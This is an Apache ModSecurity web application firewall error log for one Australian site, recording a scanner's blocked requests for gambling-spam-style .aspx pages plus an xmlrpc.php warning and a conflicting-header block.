[Wed Feb 18 16:03:31.533793 2026] [:error] [pid 21847:tid 21862] [client 190.95.10.196:56503] [client 190.95.10.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.95.10.196, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZVyU_y9A5wy4LuXmJ3TkQAAAAQ"]
[Wed Feb 18 18:04:23.080126 2026] [:error] [pid 21848:tid 21905] [client 43.130.78.203:41316] [client 43.130.78.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZWOp_bG91VRkVidT5ccJgAAAFA"]
[Wed Feb 18 21:03:12.598088 2026] [:error] [pid 11548:tid 11588] [client 147.135.214.239:55702] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZW4kDSFZiBIZZvmIlMQGwAAAgo"]
[Wed Feb 18 21:03:19.153716 2026] [:error] [pid 11609:tid 11655] [client 147.135.214.239:59888] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZW4l8hm3UjgaKO2Na83BAAAAow"]
[Wed Feb 18 21:03:22.572710 2026] [:error] [pid 11610:tid 11686] [client 147.135.214.239:59892] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZW4mrWMUt4MNfN7mx3VPAAAAs8"]
[Wed Feb 18 21:03:26.494726 2026] [:error] [pid 11548:tid 11579] [client 147.135.214.239:37500] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZW4njSFZiBIZZvmIlMQNAAAAgE"]
[Wed Feb 18 21:03:30.801091 2026] [:error] [pid 11609:tid 11647] [client 147.135.214.239:37506] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZW4oshm3UjgaKO2Na83DwAAAoQ"]
[Wed Feb 18 21:03:35.074396 2026] [:error] [pid 11610:tid 11692] [client 147.135.214.239:37508] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZW4p7WMUt4MNfN7mx3VPQAAAtU"]
[Wed Feb 18 21:03:38.434565 2026] [:error] [pid 11548:tid 11597] [client 147.135.214.239:43014] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZW4qjSFZiBIZZvmIlMQbgAAAhM"]
[Wed Feb 18 21:03:43.927940 2026] [:error] [pid 21847:tid 21864] [client 147.135.214.239:43030] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZW4r_y9A5wy4LuXmJ0iyAAAAAY"]
[Wed Feb 18 21:03:47.878444 2026] [:error] [pid 11607:tid 11624] [client 147.135.214.239:57302] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZW4sxw91ggRx3FA7BfvsQAAAkk"]
[Wed Feb 18 21:03:51.327889 2026] [:error] [pid 11607:tid 11629] [client 147.135.214.239:57310] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZW4txw91ggRx3FA7BfvtQAAAk4"]
[Wed Feb 18 21:03:55.765838 2026] [:error] [pid 11611:tid 11705] [client 147.135.214.239:57316] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZW4u-2m6IPN_aBZuKZzTAAAAwc"]
[Wed Feb 18 21:04:00.106836 2026] [:error] [pid 11607:tid 11618] [client 147.135.214.239:32842] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZW4wBw91ggRx3FA7BfvygAAAkM"]
[Wed Feb 18 21:04:03.423957 2026] [:error] [pid 11607:tid 11617] [client 147.135.214.239:32846] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZW4wxw91ggRx3FA7Bfv1AAAAkI"]
[Wed Feb 18 21:04:33.608086 2026] [:error] [pid 57014:tid 57019] [client 147.135.214.239:46952] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZW44RNZnhS5qKtVIMI4LwAAAQI"]
[Wed Feb 18 21:04:37.918416 2026] [:error] [pid 11611:tid 11712] [client 147.135.214.239:59142] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZW45e2m6IPN_aBZuKZzcQAAAw4"]
[Wed Feb 18 21:04:41.541808 2026] [:error] [pid 11610:tid 11687] [client 147.135.214.239:59148] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZW46bWMUt4MNfN7mx3V3gAAAtA"]
[Wed Feb 18 21:04:45.388210 2026] [:error] [pid 21848:tid 21912] [client 147.135.214.239:59154] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZW47fbG91VRkVidT5dIUAAAAFc"]
[Wed Feb 18 21:04:48.425678 2026] [:error] [pid 57014:tid 57033] [client 147.135.214.239:58474] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZW48BNZnhS5qKtVIMI4NAAAARA"]
[Wed Feb 18 21:04:51.558213 2026] [:error] [pid 57014:tid 57036] [client 147.135.214.239:58482] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZW48xNZnhS5qKtVIMI4NgAAARM"]
[Wed Feb 18 21:04:54.477443 2026] [:error] [pid 21848:tid 21890] [client 147.135.214.239:58492] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZW49vbG91VRkVidT5dIXAAAAEE"]
[Wed Feb 18 21:04:57.810853 2026] [:error] [pid 11609:tid 11654] [client 147.135.214.239:42508] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZW4-chm3UjgaKO2Na83SQAAAos"]
[Wed Feb 18 21:05:00.784007 2026] [:error] [pid 57014:tid 57025] [client 147.135.214.239:42512] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZW4_BNZnhS5qKtVIMI4OwAAAQg"]
[Wed Feb 18 21:05:03.474771 2026] [:error] [pid 11607:tid 11616] [client 147.135.214.239:42522] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZW4_xw91ggRx3FA7BfwfQAAAkE"]
[Wed Feb 18 21:05:07.401188 2026] [:error] [pid 21848:tid 21911] [client 147.135.214.239:35412] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZW5A_bG91VRkVidT5dIawAAAFY"]
[Wed Feb 18 21:05:10.243827 2026] [:error] [pid 11610:tid 11674] [client 147.135.214.239:35424] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZW5BrWMUt4MNfN7mx3V9AAAAsM"]
[Wed Feb 18 21:05:13.306465 2026] [:error] [pid 11548:tid 11580] [client 147.135.214.239:35428] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZW5CTSFZiBIZZvmIlMQ3wAAAgI"]
[Wed Feb 18 21:05:16.143644 2026] [:error] [pid 11512:tid 11530] [client 147.135.214.239:42938] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZW5DBGamu0xQuQ-jbFcugAAAY0"]
[Wed Feb 18 21:05:18.650022 2026] [:error] [pid 11611:tid 11721] [client 147.135.214.239:42950] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZW5Du2m6IPN_aBZuKZzkAAAAxc"]
[Wed Feb 18 21:05:21.660993 2026] [:error] [pid 11610:tid 11673] [client 147.135.214.239:42956] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZW5EbWMUt4MNfN7mx3V-QAAAsI"]
[Wed Feb 18 21:05:24.277974 2026] [:error] [pid 11512:tid 11517] [client 147.135.214.239:42960] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZW5FBGamu0xQuQ-jbFczAAAAYA"]
[Wed Feb 18 21:05:27.055848 2026] [:error] [pid 21848:tid 21890] [client 147.135.214.239:57926] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZW5F_bG91VRkVidT5dIhAAAAEE"]
[Wed Feb 18 21:05:29.786270 2026] [:error] [pid 21847:tid 21871] [client 147.135.214.239:57942] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZW5Gfy9A5wy4LuXmJ0jTAAAAA0"]
[Wed Feb 18 21:05:54.755884 2026] [:error] [pid 11548:tid 11581] [client 147.135.214.239:57948] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZW5MjSFZiBIZZvmIlMRDwAAAgM"]
[Wed Feb 18 21:05:57.724177 2026] [:error] [pid 21847:tid 21879] [client 147.135.214.239:59686] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZW5Nfy9A5wy4LuXmJ0jcgAAABU"]
[Wed Feb 18 21:06:00.252169 2026] [:error] [pid 11611:tid 11701] [client 147.135.214.239:59692] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZW5OO2m6IPN_aBZuKZzqgAAAwM"]
[Wed Feb 18 21:06:03.243052 2026] [:error] [pid 5561:tid 5583] [client 147.135.214.239:59708] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZW5O0oQssCZYQ4NexbbiQAAAVM"]
[Wed Feb 18 21:06:05.981591 2026] [:error] [pid 11548:tid 11582] [client 147.135.214.239:40292] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZW5PTSFZiBIZZvmIlMREQAAAgQ"]
[Wed Feb 18 21:06:08.506154 2026] [:error] [pid 21848:tid 21905] [client 147.135.214.239:40304] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZW5QPbG91VRkVidT5dI0AAAAFA"]
[Wed Feb 18 21:06:11.180946 2026] [:error] [pid 21847:tid 21868] [client 147.135.214.239:40320] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZW5Q_y9A5wy4LuXmJ0jeAAAAAo"]
[Wed Feb 18 21:06:13.867621 2026] [:error] [pid 21848:tid 21911] [client 147.135.214.239:40332] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZW5RfbG91VRkVidT5dI3wAAAFY"]
[Wed Feb 18 21:06:16.272719 2026] [:error] [pid 21848:tid 21912] [client 147.135.214.239:52392] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZW5SPbG91VRkVidT5dI5gAAAFc"]
[Wed Feb 18 21:06:18.962281 2026] [:error] [pid 11609:tid 11658] [client 147.135.214.239:52402] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZW5Sshm3UjgaKO2Na83gwAAAo8"]
[Wed Feb 18 21:06:21.609679 2026] [:error] [pid 21847:tid 21876] [client 147.135.214.239:52418] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZW5Tfy9A5wy4LuXmJ0jhQAAABI"]
[Wed Feb 18 21:06:24.280186 2026] [:error] [pid 21848:tid 21892] [client 147.135.214.239:52426] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZW5UPbG91VRkVidT5dI7wAAAEM"]
[Wed Feb 18 21:06:26.722941 2026] [:error] [pid 11609:tid 11643] [client 147.135.214.239:54110] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZW5Ushm3UjgaKO2Na83iQAAAoA"]
[Wed Feb 18 21:06:29.159656 2026] [:error] [pid 21847:tid 21865] [client 147.135.214.239:54124] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZW5Vfy9A5wy4LuXmJ0jkgAAAAc"]
[Wed Feb 18 21:06:31.995290 2026] [:error] [pid 21848:tid 21907] [client 147.135.214.239:54140] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZW5V_bG91VRkVidT5dJAgAAAFI"]
[Wed Feb 18 21:06:34.453244 2026] [:error] [pid 11548:tid 11594] [client 147.135.214.239:54148] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZW5WjSFZiBIZZvmIlMRLQAAAhA"]
[Wed Feb 18 21:06:37.051424 2026] [:error] [pid 21847:tid 21871] [client 147.135.214.239:50370] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZW5Xfy9A5wy4LuXmJ0jlwAAAA0"]
[Wed Feb 18 21:06:39.613516 2026] [:error] [pid 21847:tid 21858] [client 147.135.214.239:50378] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZW5X_y9A5wy4LuXmJ0jmQAAAAA"]
[Wed Feb 18 21:06:42.264370 2026] [:error] [pid 11611:tid 11718] [client 147.135.214.239:50386] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZW5Yu2m6IPN_aBZuKZz0QAAAxQ"]
[Wed Feb 18 21:06:45.031702 2026] [:error] [pid 11609:tid 11661] [client 147.135.214.239:50394] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZW5Zchm3UjgaKO2Na83mAAAApE"]
